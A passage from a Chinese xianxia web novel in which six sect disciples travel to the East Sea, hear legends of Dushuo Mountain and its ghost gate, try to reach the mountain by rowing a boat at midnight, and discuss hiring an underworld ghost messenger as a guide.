桑九差点被他吓到:“听说是沙尘乱,不过这还算好控制,梵音门封控了沙漠之后就能控制伤亡,目前他们也在找原因。” 邬芽又叹了口气道:“说到这个,南海那边和我们这里可算是完全相反,我先前遇到一位合欢宗的道友,她说她们那里今年海难频发,常常有可怖的风雨,天上都下小虾小鱼呢,渔民们都不敢出海。” 桑九接了句:“旱的旱死,涝的涝死。” 归壹派四人:→→ “还有天机阁……” “哦,她们那个是有些奇怪了,说是晚上总是乌云蔽日导致她们晒不到月光,弟子们都浑身难受,卜卦术都不准了……” 归壹派四人:。 “这么看来……”说完各地的八卦之后,桑九默默看向某些人,“好像就你们归壹派挺安稳?” 邬芽觉得她师弟这话说得不对劲,赶忙道:“归壹派是天下第一仙门,实力强盛,所处地界灵力充沛,自然最为稳定。” “咳咳,”厉害归厉害,但这时候还是不例外最好,曾换月露出可怕的神情,“实不相瞒,我们归壹派最近也发生了一些古怪的事!” 大伙看向她。 曾换月压低声音,神秘兮兮道:“听说有好几位弟子莫名昏迷,几日几十日的都有,检查身子也发现不了异样,完全跟正常人似的,但就是醒不过来……至今都未发现原因呢,实在是古怪得很!” 她师姐师兄:…… 邬芽:“天那,这无缘无故的真吓人。” 桑九:“那他们现在如何?” 曾换月:“反正还没死,哈哈哈……” …… 就这么叽里咕噜的,出发东海。 * 幽冥宗驿站==> ===>东海驿站 东海是由归壹派管辖的,其实从她们门派的许多山头都能眺望到不多的海景;但由于离海太远,这些碎片就像是增添景色美妙程度的细节。 东海驿站并不是建在海边,而是海附近的一座叫望女县的城门外;在此驿站传送的修仙者还不少,毕竟归壹洲人杰地灵,哪里都热闹的。这望女县据说还是一处有名的看海宝地,民风淳朴,风景很好,十分宜居,常有人来此处旅玩。 不过本地人归壹派四位并没来过。 一出驿站,六人看见热闹的人间景色,心里感到暖暖的;闻到不知从何处飘来的佳肴美味,肚子里感到饿饿的;那自然是要先好好饱餐一顿……这是顺便的事,正事是打听她们要去的地方在哪。 一份鱼香肉丝盖浇饭下肚,邬芽心满意足道:“我看这家食店贴的招牌说是三十年老店,不如我们问问老板娘有关度朔山的事?” 第285章 “度朔山?”明易抬起头来,先前邬芽只和她们说要来东海找什么珍珠,他还以为要下海,“你们要找度朔山?” “是啊,”邬芽见他的反应,便问,“难道明道友你知道度朔山在哪?” 明易微微摇头,目露思索:“不知道,但似乎在哪里听过。” 这时石映心忽然道:“你不是说要去东海找珍珠?去度朔山上做什么,那珍珠在山上?” 邬芽挠挠头:“我也说不明白……嘶,师祖是说让我去东海里找能够解决幽冥洲旱灾的珍珠,但那珍珠是什么她也不清楚;于是又让我去度朔山上调查有关珍珠的消息……所以这么看,应该要先去度朔山吧?” 这个解题思路是没问题的。 曾换月颔首表示赞同:“没毛病,去度朔山!” 于是她们去找食店的老板娘,对方正在忙碌地颠勺呢,闻言也不知是没空细想还是真不知道,摇摇头道:“对不住啊,我没听过什么度朔山。” 大伙也不失望,正打算去问其他人,却见老板娘灶台边上跳起来一个小女孩,大声道:“我知道,我知道度朔山!” 几人都是一愣,又听老板娘道:“别听小孩子瞎说……还不写你的课业去?” “娘,我知道度朔山!”老板娘女儿又跳了跳,“我知道我知道我知道嘛!” “你哪里知道的?你去过?” “夫子在课上说过!” 邬芽便笑道:“小妹妹,你夫子都说了什么?” 见自己被搭理了,老板娘女儿非常兴奋,朝邬芽道:“夫子说,度朔山是一座藏在东海之中的山!姐姐,东海就是我家门口那片海呀!” 她这话一出,那可信度就高了,这小女孩居然知道度朔山就在东海。 邬芽和师弟对视一眼,后者忙追问道:“那你夫子可有说要怎么才能找到度朔山?” “嗯,这个嘛……”老板娘女儿很认真地想了想,喃喃自语地像背书一般地说,“夫子说在东海之中,又一座叫度朔的山。山上许多桃树,桃林可延绵三千里呢!桃树的树枝的东北方有一扇鬼门,是众鬼出入的地方。” “但人们不必害怕,因为桃树上有两位厉害的神仙看守鬼门,她们掌管统领那些可怕的鬼,如果遇见想害人的,便用苇绳捆绑,送去喂虎,可厉害了!这两位神仙叫……叫……” 说到这,她抬起头来天真一笑:“夫子就说到这里!” 几人:……明明是你就记到这里吧? 但不管如何,都是得到了非常有用的消息,她们谢过老板娘女儿,给了一些小零嘴当做报酬,在老板娘“小孩子说的话 别信啊她乱说的“叮嘱声中离开了食店。 后来她们陆陆续续地又去问了些路人,可惜并没得到更多的信息,甚至大部分人都不知道度朔山。 邬芽叹了口气,无奈笑道:“没想到这么多人都不知道度朔山啊,就是知道也只是听过而已……” 曾换月摸摸下巴:“那食店老板娘女儿还是从教书夫子那听到的……感觉度朔山就像是一个传说。” “传说……”明易忽然想到什么,“若是传说,不如我们去书肆看看?也许会有记载度朔山的古籍。” 顾梦真:“好主意啊大师兄!” 大伙并无反对,于是她们很快来到了最近的一家书肆。先是问了老板,没想到这回是找对人了,这书肆老板是个爱研究这些“民间传说”“历史古籍”的读书人,确实听说过度朔山。 只见他摇着脑袋背诵道:“沧海之中,有度朔之山。上有大桃木,其屈蟠三千里,其枝间东北曰鬼门,万鬼所出入也。上有二神人,一曰……” 老板还没背完,曾换月就兴奋道:“这不就是那小女孩所说的未翻译版吗?没错没错!就是这个度朔山!” 书肆老板笑道:“几位若是对度朔山有兴趣,我可给你们推荐基本书籍,不过可惜的是,我此生所阅的书中对度朔山的记载寥寥,你们能找到的内容大概就是我说的这些。” “啊,”顾梦真了然道,“就是说书上记得你都会背了?” 老板谦虚地点点头:“记载实在不多。” 曾换月便潇洒一挥手:“那还看什么书啊,老板你直接同我们说便是了!还能剩些时间。” 做不成一单生意,老板也不恼火,一脸的和气生财的笑容:“好,几位想知道什么尽管问便是了。” 桑九便问:“请问度朔山要怎么走?” “你们要去度朔山?”老板闻言有些惊讶,开始摇头,“那可不是凡人能去的地方。” 邬芽:“这是为何?” 老板的笑容中带上了些严肃:“答案便在书中:‘其枝间东北曰鬼门,万鬼所出入也’;就算度朔山上有二位神仙守门,但也是个百鬼夜行的危险地界,且与幽都关联密切。凡人一去,轻则散了阳气得病,重则失魂落魄。几位请斟酌,与幽都相近的岂是什么好地方?” 幽都邻居·幽冥宗二人:“额。” 见这老板是真心劝她们的,曾换月也不装了,笑眯眯道:“老板,实不相瞒,其实我们几个都是仙门弟子,并非普通凡人,你就安心同我们说吧!” “是啊是啊,”顾梦真也道,“我们刚从幽都那旮旯过来呢,没啥事!” 桑九:旮旯? 书肆老板一听,有些惊讶地打量起这几个年轻的面孔,自言自语道:“难怪几位都是气度不凡,我原先还以为是哪里大户人家的千金少爷……几位仙人光临小店,是在下招待不周了。” 这一下就客气起来,六位仙人连忙七嘴八舌地表示了自己的平易近人,让他不要拘束;因此耽误一会,又问起度朔山的事,这下书肆老板能放心讲了: “据在下所知,度朔山只在有月高挂的夜间出现,只在子时显世一个时辰,若要进出度朔山,绝对不能越过此时,否则进不去也出不来;这还算轻易达成的条件,另两点可并不容易。” 邬芽心想怎么卡时间这点还和她们幽冥宗异曲同工呢,又问道:“另两点是什么?” 书肆老板看向她:“其一是:子时出现的度朔山,不过是人眼可见的幻影,可望不可即;若真的要上山,必须要有阴间鬼差引路。” “谨记,”他说到这特地叮嘱道,“必须是鬼差,普通小鬼扛不住山上二位神仙的神威。” 石映心问了句:“扛不住神威会如何?” 书肆老板道:“轻则丧失神智、自投罗网,重则魂飞魄散。” 桑九点点头表示了解,又问:“其二呢?” 书肆老板神秘一笑:“其二便是:就算满足了这些条件,但想遇见度朔山也要有机缘,并非人人能见到;不过几位都是仙人,想必比我们这些凡人有缘分多了。” 大伙想想也是。 “啊?”顾梦真张了张嘴,“这么麻烦?” “是啊。”书肆老板无奈一笑,“毕竟度朔山属于幽都地界,凡人若能轻易接近的话会非常危险。据说以上条件,其实是守山的两位神仙自古定下的规矩,都是为了庇护民间啊。” 大伙听到这也理解了。 明易礼貌地朝他一笑:“老板您所说的这些……我想书上并无记载?” 书肆老板一愣,忽而笑开:“不错,确实没有记载。” 曾换月好奇地眨眨眼:“那老板你是从何得知的呀?保真吗?” “不敢保真。”书肆老板实诚地笑道,“在下不过一介凡人,并未去过度朔山,只是几年前的一个月圆之夜有幸在岸边惊鸿一瞥那抹幻影,实在难得;我所说知道的一切不过是道听途说,耳食之谈,不能被记载入古籍。” 桑九闻言便有些失望:“原来不保真……” 邬芽却意外道:“老板你很厉害呀,连书上没记载的事情都记得这么清楚,就是道听途说来的也很难得。” “嗐,谬赞谬赞,”老板谦虚道,“我也不年轻了,没有那么好的记性,只是笔头烂了几根。人无大志,只是希望在有生之年能出一本记载我此生所见所闻的书籍,也不知我这小小凡人的故事可否值得世人驻足一看。” “肯定可以的!”曾换月鼓励道,“你看这会不就帮上我们的大忙了?” 书肆老板一愣,随机笑开:“仙人说的是。” 谢过老板离开书肆之后,曾换月和石映心道:“师姐,方才那位老板启发我了。” 石映心不知为何有些心不在焉的:“嗯……启发什么?” 曾换月说:“先前我不是说要写书嘛,结果入元婴后就一直忙着下山做任务和修炼,近日我连话本都看得少了,这么重要的事居然耽误下来,真是业精于嬉荒于勤!” 石映心:……? “……所以你的启发是?” 曾换月握拳鼓励自己:“我决定等这次忙完就回去好好写书!受老板启发,我已经有灵感了!” “是什么灵感?” “你想啊师姐,”曾换月有理有据道,“那老板说要出一本记载此生所见所闻的书籍,但他确实只是一介凡人,故事不保真不说,还很有局限,凡人能得知的大部分民间传闻都是没头没尾的,那些鬼神传说更是不经之谈。” “我就不一样了!我可是能上天入地、游历八大洲的修仙者。”曾换月挺起胸膛道,“我一定能写出有理有据、可供考察的神仙传说!” “神仙……”石映心意味深长道,“神和仙可不一样。” “是哦,”曾换月想了想道,“那么神与仙之间,有何分别呢?” 第286章 石映心正要张嘴,顾梦真凑过来说:“这你都不知道啊?像我们这些修仙者就是仙嘛,神的话……理论上来讲是修仙者飞升之后就会成神啊。对吧大师兄?” 明易看了看映心,又瞅了瞅另外两个,微微颔首。 “可这么算的话……”邬芽也带着师弟加入话题,“仿佛只是境界之分了。” 桑九赞同师姐的说法:“就像是渡劫期飞升后进阶为成神期。” 曾换月感受了一下这个形容,蹙眉道:“这有什么意义呢?我感觉并不是这样的差别。” 桑九也觉得没这么简单,看向他师姐道:“我记得师姐你之前好像问过师祖这个问题。” 邬芽想起来了:“是哦。” 曾换月:“那么你师祖是这么说的?” “师祖她并未给我明确的答案。”邬芽回想了一下,“她反而问我‘仙和人的区别是什么’,说若是我想明白了这个问题,自然也能明白神与仙之分了。可我能想到的答案却很简单:修仙者会仙法,人只是普通凡人,区分不是很明显吗?” 桑九摇摇头:“我也不明白。” 曾换月想这就像一个连环套问题:若问神与人之分,听着像完全不同的“物种”,若问神与仙,或者仙与人,边界却变得很暧昧;那么被“仙”所连环的“神”与“人”,就不可能是完全不同了。 前者难辨,就后者来看:世上多的是和凡人相比只会一点点仙法的修仙者,就像是会点“魔术”或是“特长技能”的普通人,说是凡人也行,说是仙人也行……和她们这些元婴期化神期的厉害修士是很有差距的。 他们就像是边界的组成部分,将三者不清不楚地缠连在一起,那么…… 神与仙与人之间,究竟有何分别? “何必思考这些无意义的事?” 在众人思索之中,石映心满不在乎道:“现在的修仙界把境界划分得太清楚,仿佛境界越高者就越厉害,可实力的强弱岂是这么轻易能被界定?真正的修仙大道不被框架所定。” 大伙被她说得一愣一愣的,一时哑口无言。 还是明易问了句:“那么道在何处?” 石映心朝他微微一笑:“无穷无尽之中。” “啊?无穷无尽吗?那这也太累了吧。”曾换月一下苦了脸,“每时每刻都要努力变强……想想就累!我觉得现在就挺好的呢……” 石映心耸了下肩:“因此并非人人能飞升,飞升之后……呵,更不是终点。” “说得像你飞升过似的。”桑九吐槽了一句,“飞升之仙少之又少,修仙界有关飞升的事几乎都是传闻。” 石映心睨他一眼:“不是亲身经历,自然都是传闻。” 桑九:……切。 闲谈间,几人已经来到了东海边上。邬芽看了看天色,推测道:“今日天晴,晚上应有月色,就看我们这些仙人有无遇见度朔山的机缘了。” 大伙虽未明说,但心里都觉得是有的,毕竟算是受到指引来到此处。明易这会提醒道:“我们还未找到鬼差。” “是哦,”顾梦真挠挠头,看向幽冥宗二人,“你们有比较要好的幽都鬼差好友吗?” 幽冥宗二人摇摇头。她们幽冥宗和幽都是邻居不错,但更像是“同僚”而非“好友”的关系。 邬芽思索道:“不过我们幽冥宗和幽都的灵场很相近,幽都鬼差也算是‘仙人’的一类……指不定有我和桑九在,也能触及度朔山呢?不如我们今晚尝试一下?” 在场的人都摇不到鬼差,便同意了邬芽的建议。 此时正是傍晚,日落的海景美不胜收,岸边有不少悠哉悠哉漫步的人,走近些便能听到细微的、但听不分明的说话声,都是自在的闲谈;有两排摊贩干脆摆在沙滩上,生意火热;不远处的海面上还能瞧见一些慢悠悠的船只,像是专供载客观光的。 曾换月乍一看,还以为来到了哪里的海边景点呢,不过是古代版的:“这么多人啊?到时我们方便行动吗?” “子时的时候应该没多少人了吧……”顾梦真正说着,忽然看见前方沙滩的入口处摆着一个很显目的牌子,“欸,你们看!” 她们走近一看,只见上头写着:【夜间海边危险,各位须在亥正(标红)前离开沙滩,否则后果自负】 “夜间海边危险……是什么危险呢?”邬芽有些疑惑,“难道是担心天太黑,大家一不小心掉入水中?” 桑九大胆推测道:“亥正距离子时也就半个时辰,会不会是因为度朔山?” 邬芽微微颔首:“也有可能,那位书肆的老板说是在岸边就能看见度朔山的幻影……难道是担心凡人瞧见度朔山,好奇前往?” “立这牌子的是谁?”石映心忽然转了个话头,“看来是知道度朔山的事?” 曾换月一拍脑袋:“是哦,如果邬芽你们的推测没错的话,那立牌子的人肯定知道度朔山的事!” 这倒是提供了一个新的思路,于是她们便四处去问立牌子的人,路上居然还瞧见了不少同样的牌子,几乎每隔几百步就能瞧见一个,看来这人非常关心民众的生命安全。 究竟是谁呢? 只可惜问了许多路人,也没问出立牌人: 路人一:“啊,我以为是县衙立的,不是吗?” 明易:“应该不是,若是县衙立的,会有标识。” “对哦!” 路人二:“不知道诶,这些牌子有一日就莫名出现了,我也没太在意。” 石映心:“有一日是哪一日?” “好像就半年前吧?” 路人三:“为什么立这牌子?难道不是因为海难的事吗?” “海难?”邬芽一怔,“我见此处风平浪静,怎么会有海难?” “是啊,真是稀奇。”路人三感叹道,“东海在归壹派的庇护之下,鲜少会出现动荡的,不过这半年……哦,尤其是夏日的时候,发了三次海难呢!不过也没什么大事,就是狂风暴雨啦,一两日就消停了。” 桑九问:“可有伤亡?” 路人三回忆道:“看县衙的公告说是失踪了几人。在这之后每逢将要下雨,就会有官兵之首海边,不允许百姓进入了,因此没再有伤亡;不过这不入秋了嘛,就没再有海难了。我们望女县这天气好,秋冬少雨……” …… 谢过这些路人,几人都是若有所思。 归壹派本地人·顾梦真感叹道:“原来东海今年发了三次海难吗?我都没听说呢。” 曾换月也没听说啊,不过她想这大概就是台风吧,不会年年来,但来了也正常:“也许是县衙及时干预,没造成太大影响,所以这些没造成大规模影响的天灾就不会上报到我们门派。” 明易同意她的说法:“估计是这样。” 邬芽眉目微皱:“可听那路人的口吻,似乎发海难之事在此县就很少见,何况发了三次……这和南海那边的异象倒是有些像,不过没那么严重;而且那提示的牌子也是半年前出现的,你们说这两件事会有关联吗?” “师姐你是说,”桑九理了理,“海难的事和度朔山显世的事?” 邬芽点点头:“据书肆老板所说,想遇见度朔山要有机缘,并非随意可见;但瞧这些四处立着的牌子,却像是很容易?结合牌子出现的时间,也就是说……大概是在半年前开始,度朔山便常常会在子时显世了。” 明易抿了下唇:“三次海难也发生在这半年里。” “奇怪……”曾换月琢磨了一下,“难道是半年前发生了什么事吗,才导致了这些异样发生?” “不像啊,”顾梦真摇摇头,“我们问了那么多人,没听一人提到过半年前如何如何;那要么是压根无事发生,要么是事儿太小,大家都不以为意……” “我倾向于后者,”明易推测道,“甚至可能是更久之前发生的事,只不过当时并无产生多大影响,而是在日积月累中慢慢出现了明显的端倪,比如海难和度朔山。” 石映心听到这忽然古怪地笑了一声:“那这么看,压根就找不到事由了嘛。” 明易抬眼看向她:“即使找不到,我们也该去解决。” “如果不清楚原因也能解决问题的话,”石映心一摊手,“世上便没有难事了。” 明易正要说什么,就听曾换月笑道:“哎呀师姐,那轻易的事哪里值得你出手呢?” 石映心闻言,微微挑眉一笑,似有些满意道:“这确实。” 明易看了两位师妹一眼,不再多说。 她们现在有了这么多推测,其实也没大用,一切还要等度朔山出现、上去一探究竟后再说。 夜幕降临。 曾换月觉得群众中总有不听话的犟种,因此并不会所有人都会听从那些立牌的温馨提醒……她的感觉是没错的,到了亥正的时候,沙滩上还逗留了不少人呢。 她们这会坐在岸边的一个破旧的小亭子里,和人多的地方有些距离。顾梦真往沙滩上 望了一眼,皱眉道:“这些人怎么回事?先不说现在已经很晚,都到就寝的时候了,还不回去吗?何况还有立牌的警示……也不可能没看见牌子啊,立了这么多呢。” 曾换月叉腰道:“哼,指不定就是看了牌子,才冒了作死的心思呢!” “唉,”邬芽摇摇头,无奈苦笑道,“世上总有这样很难沟通的人。” 桑九在边上连连点头表示赞同。 看得出来师姐弟俩平日做任务时也没少遇见难沟通的人了。 石映心轻哼一声:“蠢人多作怪。” 第287章 “虽然不清楚平时是什么情况……”邬芽提议道,“但今晚我们有行动,还是不便让这些凡人在沙滩上逗留。趁现在还有时间,要不我们费些功夫,先去将他们疏散如何?” 桑九熟练地应和他师姐:“我们平时招鬼驱邪时也会这么做,以防万一。” 大伙都没意见。于是离开了亭子往人群逗留的地方走,刚走近一些,领头的明易却停了下来,语气不确定道:“好像已经有人在疏散了?” 她们便定睛一看,果真看到陆陆续续有人在离开。 曾换月眯起眼睛,但夜里黑灯瞎火的,她有些看不清:“是谁在疏散啊?县衙的人吗?我看他好像穿着官服?” “不是说牌子不是县衙立的吗?”桑九疑惑。 “说这些干什么,”石映心率先迈步向前,“过去看看不就知道了?” 几人紧跟其后,很快就瞧见一个拿着水火棍、身穿官服的官差在疏散群众。识趣的人在他来之前就先行离开,不识趣的还赶上前问:“差大爷差大爷,亥正之后究竟有什么危险啊?” 官差举起手中的棍子:“你看我这棍子危险不?” 那人:…… 赶紧跑了。 等来到明易等人面前,他瞅了几人一眼,挥挥手道:“散了散了,都散了。” 明易客气地说:“这么晚了还要从城中赶来海边值班,在县衙当差真不容易。” “托你们这些不听话的笨蛋的福。”官差阴阳怪气道,“还不快走?” 六人并不觉得这是在骂自己,心中没啥感触。 明易还问呢:“怎么只有阁下一人当值?按理来说同行应至少有两人,互相帮衬才好。” “你管得着吗?”官差不耐烦地讲水火棍挥起来搭在肩上,“再不走别怪我动手啊!” 曾换月耸了耸肩,小声嘟囔道:“好凶哦。” 但由这位差大爷出面赶人是最好不过的,要她们赶还不知道用什么身份呢。因此几人并未纠缠,装模作样地离开后,又回到那小破亭子里观察情况。 没等两刻钟,沙滩上基本没人了。 这会也快子时了,于是几人又出来。顾梦真左顾右盼看了看,满意点头:“这下方便了我们,不错不错。” 桑九还在琢磨那事:“所以其实牌子是县衙立的?” “也许是县衙中有感知到异样并且知晓度朔山存在的人呢?”邬芽开朗道,“高手在民间嘛!” 还顺口问边上的石映心:“是吧,映心?” 石映心没什么反应地“嗯”了一声,算是回答。 邬芽莫名感到有些奇怪,特地回头看了她一眼,却见她仰头望月,面容在冰冷月光的衬托下显得有些不近人情。邬芽顺她的视线望去,今日十四,空中一团月接近圆满。 月光和海上的水光融为一体,变成了冰凉柔软的绸缎,吸引着人们去抚摸、倾倒,坠入,恍惚着将要进入人间陷阱……不对,是仙境。 那座山是何时出现的?不清楚,等她们从海的诱惑中短暂清醒过来时,它便遥遥地矗立在那了。 曾换月揉了揉眼睛:“给我等困了都,哈……” 明易打量了眼大伙的神色,提议道:“只有一个时辰,快走吧。” “好。” 她们御物飞行往山去。可奇怪的是,那座山明明看着不远,却始终保持和她们保持着一定距离;飞了一会后,曾换月大声叫停了大伙:“别飞了别飞了!我现在确定一定以及肯定,空中有类似鬼打墙的阵法!” 大伙便停下来,聚在一起商量。 明易望了眼下方不远不近的山,微微摇头道:“我原以为只是禁止凡人进入,原来还禁止修仙者。” 顾梦真奇怪道:“这有啥依据呢?” “你傻呀,”曾换月嘲笑他,“只有修仙者——比如我们喽,遇到海才会选择飞过去,那些凡人啊鬼的怎么飞?所以在空中设置阵法肯定是针对我们这类人呗。” “是哦!”顾梦真恍然大悟,“那我们现在怎么过去?” 大伙陷入琢磨时,石映心很有想法地开口:“度朔山显世后,海边就禁止凡人待到子时,说明相比较修仙者,凡人更能轻易地接近度朔山,因此我们要用凡人的办法。” 大伙觉得她说得非常有道理啊。 那么凡人有什么办法呢?要么是坐船要么是游泳。 游是不可能游的,顾梦真当即就变出一条小舟来,却见石映心不满意地摇摇头道:“你这是灵舟,凡人如何搭乘灵物?要伪装也该像样些。” 顾梦真就被为难到了:“可我的储物袋里都是灵物啊……” 石映心叹了口气,似乎有些失望:“那没办法了,回去吧,去找普通的船。” 游还不知道游多久呢,只能先回去;又在岸边找了好一会,才在一户渔民家中找到了一艘破旧的小船;当然没白拿,是用顾梦真的灵船交换的,双方都不亏。 回来一趟再出发就很赶趟了,而且石映心还说不能用灵力驱使船只,必须依靠人力划过去。 她的主导思想很简单,只有一点:“把自己完全想象成一个凡人,不能在海上露馅。”这里的馅就是灵力。 大伙乖乖听从,轮流划船。虽然没人没质疑她的想法,但当真的发现度朔山明显变大变近的时候,心中都有惊讶和雀跃。 “你好厉害啊。”这会顾梦真从划船的人换班下来,朝石映心笑道,“你是怎么想到要伪装凡人这点的?” 石映心没什么情绪道:“动脑子。” 顾梦真:…… 曾换月在边上憋笑。 他师妹确实很自信不错,但某人就有些自大了哈。 不知划了多久,但确实没他们御物飞行的时间长,那座神秘的山就在眼前了。只是距离越近,反而越看不清楚,因为山附近弥漫着白茫茫的水雾;她们若要靠岸,必须进入水雾之中。 邻近水雾,明易谨慎地停住船,回头看石映心:“雾中可有危险?” 石映心还在那坐着,并无什么警惕的准备,语气也随意:“进去不就知道了?顶多是些水鬼水怪。” 她这么说,明易便打算划进去了,可船头刚入雾中,又听她好像才想起来似的,出声道:“哦,要是掉入水中可要当心喽,人在这水里浮不起来的。” 其余人:…… 行,这会人都在船上,提醒得也不算晚! 正如她所说,一进雾中便有水鬼水怪出现,而且雾中还长出了许多柔软恶心的手来,非常有目的性地不断骚扰她们,想要把船上人扒拉下水。 若是放在平常,用轻功去水上打两下也没什么;但这不是听了石映心的话嘛,大伙都不敢离开船只。这小破渔船又小得可怜,大伙动弹起来便很局促,什么鬼手难防,还是先担心自家人的“不小心”吧。 虽然环境艰险,但好在术业有专攻,这些鬼遇上幽冥宗二人那是太正好了;师姐弟俩甚至有一招能够控制鬼自相残杀,属实便捷。石映心在边上饶有兴趣地瞅了瞅,学来一试也觉得好玩。 不过多久,几人略有些疲累但全须全尾地离开了水雾的攻击范围,眼见那座山就在触手可及的地方,脸上都扬起了欣喜的笑容,只是—— 在船只触碰到岸边的一瞬间,度朔山不见了。 六人:OO? “这是什么意思啊?”曾换月满头问号,“难道是超时了?” “没有,”桑九摇摇头,“还有两刻钟多才过子时。” “那为何……”邬芽下意识看向石映心,目光中带着询问。 见大伙看来,石映心先是嘟囔了一句“我怎么知道”,而后话音未落,忽然又想到什么,挑眉道:“难道是方才我们在雾中对付鬼怪时用了灵力,败露了身份?” 确实很有这个可能。不过……顾梦真苦恼道:“不用灵力我们怎么过来啊?那么多水鬼呢……” 石映心摸了摸下巴,很快思索明白,轻哼一声道:“原来如此,所以才要鬼差带路。” “不错,”明易颔首赞同她的观点,“那些鬼怪只是数量多,比较缠人,但实力不强,若是来一位阴间鬼差,便能起到一定的威慑作用……也许书肆老板所说的‘普通小鬼’不行也有这层原因。” “好了,反正今晚是白来了。”本就有些累了的曾换月一下子泄了气,瘫在船只上,摇摇头道,“回去吧回去吧,时间也不够了,折腾这两来回真费劲,唉……” 大伙都很心累,便决定赶紧回去休息;这下已经败露了便不再需要装凡人,飞回去倒是快。 虽然东海岸边已经没人了,但望女县中居然还不宁静,有不少夜宵的摊子正在静悄悄地火热开张中。几位仙人虽无饥饿的感觉,但劳累一番后吃一顿好的填填肚子解解馋,何乐而不为呢? 吃饱喝足,几人坐在馄饨摊的灯笼下,享受这片刻的清闲。 邬芽满足地感慨道:“真不愧是你们归壹洲,就是热闹!这都深更半夜了还有这么多百姓在街上玩,什么时候都有美味的吃食,我们幽冥洲早就夜深人静啦。嗐,其实我们那也挺安全的呀……” 曾换月神秘兮兮道:“你猜为什么呢?” 邬芽眨眨眼:“为什么呀?” “哈哈哈哈!你们幽冥宗的人居然不知道吗?”曾换月哈哈笑起来,“就是因为子时的时候去往你们幽冥宗的门大开,门内相通幽都的事人尽皆知,凡人们害怕那些鬼怪,这才赶紧回家休息避免冲撞呀!” 第288章 邬芽微愣,和师弟对视一眼,二人异口同声道:“噢……原来是这样。” “低调,你们幽冥宗太低调了!”曾换月摇摇手指头道,“这样不行呢。我和师姐之前还遇到一回龙王庙祈雨仪式,是你们在后头帮的忙吧?可那些百姓还真以为是烤龙王烤来的呢!” “烤龙王……哦对,是有这么回事。”邬芽看向桑九,“这好像是桑九你们负责的吧?” 桑九点点头:“嗯,现在正在使用的有一大批是你们归壹派的降雨宝器,可将云用障眼法变成乌云,打造降雨的假象。” 顾梦真不解道:“为何要这么麻烦?直接发挥你们的本事不就成了?” 桑九撇了下嘴:“和那些凡人沟通很麻烦。” “我想是因为幽冥宗大部分时候在晚上出任务办事的,大概就让日出而作日入而息的百姓们感觉……与他们并不相同吧。”师弟不想说,邬芽帮着解释道,“一出去就是处理鬼的事……就像换月说的,通往我们幽冥宗的门里和幽都相连,百姓们看到我们自然会想到鬼怪,这也是难免的。” “而且不知道为什么,”她说到这,若有所思道,“从古至今,好似我们幽冥宗就没有和百姓密切接触、友好交流的经历诶……哈哈,说起来好像我们很不近人情呢。” 曾换月瞅着邬芽明朗的笑脸,以及桑九默默的神情,瞅着瞅着忽然笑了一声。 二人:OO? “话说啊,你们不觉得幽冥宗的黑袍门服很可怕吗?”曾换月抿着笑道,“看着很像是反派、额,坏人会穿的衣服,尤其是在民间,一般是夜深人静要干见不得人的事时才会穿一身黑吧。” 邬芽:“我们确实是夜深人静时出门……” 桑九:“干的也是不见人见鬼的事。” 邬芽:“可是这只是为了适应我们幽冥宗仙法的特质……” 桑九:“嗯。” 说着说着二人也沉默下来,已经接受了“幽冥宗不近人情”的事实。 “这么看,你们幽冥宗多的是默默奉献、舍己为公的大好人。”石映心忽然笑了一声。 “不敢不敢,”邬芽连连摆手,谦虚道,“八大仙门皆是名门正派,归壹派更是统领我们的第一仙门……嗨呀,其实哪里都有坏人,哪里都有好人。” 石映心点头赞同道:“对,那么好人该做好事,坏人该做坏事,如此才各司其职。” 五人:OO? 等等好像哪里不对? 这时明易道:“世上的好坏不是分明的。” “你说得太对了,大师兄。”石映心朝大师兄一笑,“唯一分明的是个人的欲望。” 明易便抿上唇,沉默地看着她。 大家隐约觉得氛围有些不对劲,因此不能吭声。不过当事人石映心好像没感觉,起身说了句“走吧”,就率先往她们先前预定的客栈的方向走去。 五人面面相觑两眼,默默起身跟上。 * 第二日的任务很清晰,找一个阴间鬼差带路。 归壹派几人原以为幽冥宗二位会有办法,但瞅这对师姐弟的神情确实为难,于是好心地不为难她们,开始琢磨去幽都请鬼差了。 明易变出一张地图来找最近的鬼门关,是找到附近有一处,来回虽费些功夫但问题不大,只是他很快想到一个问题:“要进鬼门关,需查验冥途路引,我们没有冥途路引。” 邬芽问:“你们的因果牌不行吗?” 明易微微摇头:“因果牌只是我们八大门派的信物。” 顾梦真问:“幽冥宗的人不能去幽都?” 桑九道:“你可以随意进出邻居家的门吗?” 那确实不太礼貌了。这样不礼貌的事仅能发生在她们师兄妹身上。 “而且,”曾换月这时想起一个不久前发生的事,“我感觉……额,也可能是我遇到的鬼差没几个,个别鬼差……感觉不太好相处呢?” 桑九立刻点头道:“你的感觉没错。” 邬芽立刻解释道:“也能理解啦,毕竟鬼差是要管理鬼魂;你们知道的……世上有许多难沟通的人,更有许多难沟通的鬼,这点我们幽冥宗的弟子是深有体会的。” 桑九紧接着:“有些简直无法沟通,好声好气也没用。” 邬芽随即说:“是啊是啊,因此近墨者黑近鬼者鬼也情有可原……啊,不过我们幽冥宗弟子不难相处哦。” 没想到她这话引起了幽冥宗二人如此强烈的反应,归壹派等人皆听得一愣一愣的。怎么说呢,这二人的反应就像是…… 我们不想说他们坏话,但是既然你都提到了这点,我就简单说两句; 虽然某些阴差脾气是很差,我们也充分理解他们脾气差的理由,但这是我们幽冥宗弟子善解人意,他们脾气确实差的; 不过我们只是说说真实情况哦,不是在背后嚼舌根哦。 以上。 归壹派弟子:明白了,原来不仅不熟,甚至颇有些意见啊。 “完了。”曾换月胳膊肘搭在桌上,脸往手心上一放,叹了口气道,“这鬼差是请不到了。” 桑九想了想:“付些酬劳大概可以?” 顾梦真耳朵一动:“多少?” 桑九:“先前幽都给我们幽冥宗的鬼情价位,大概五六百一时辰?” 顾梦真张了张嘴:“冥币?” 桑九瞪他:“灵石!” 某人的嘴角就耷拉下来,有些不情愿了:“这么贵吗,我们都还不知道会在度朔山上耽误多久呢!” 明易细心地想到一点:“鬼差也有官大官小之分,你们说的五六百一时辰能请到哪位鬼差?” 师姐弟二人对视一眼,异口同声中都有些一言难尽的情绪:“黑白无常。” 归壹派四人皆 是一愣。 注意到她们异常的反应,邬芽还耐心地解释道:“当然也有官小点的鬼差啦。但事实是,像我和桑九都是元婴期的修士了,若是连我们都处理不了的鬼,请普通的鬼差自然是白费钱,所以我们一般请黑白无常。” “这次也建议请他们。”桑九有理有据地分析道,“其实大部分小鬼遇见我和师姐这境界的修士都会受到一些压制,不敢前来招惹;可昨晚水雾中的那些鬼却不怎么怕我们,因此还是请他们来保险。” 邬芽点点头道:“不过请一位就行了。” 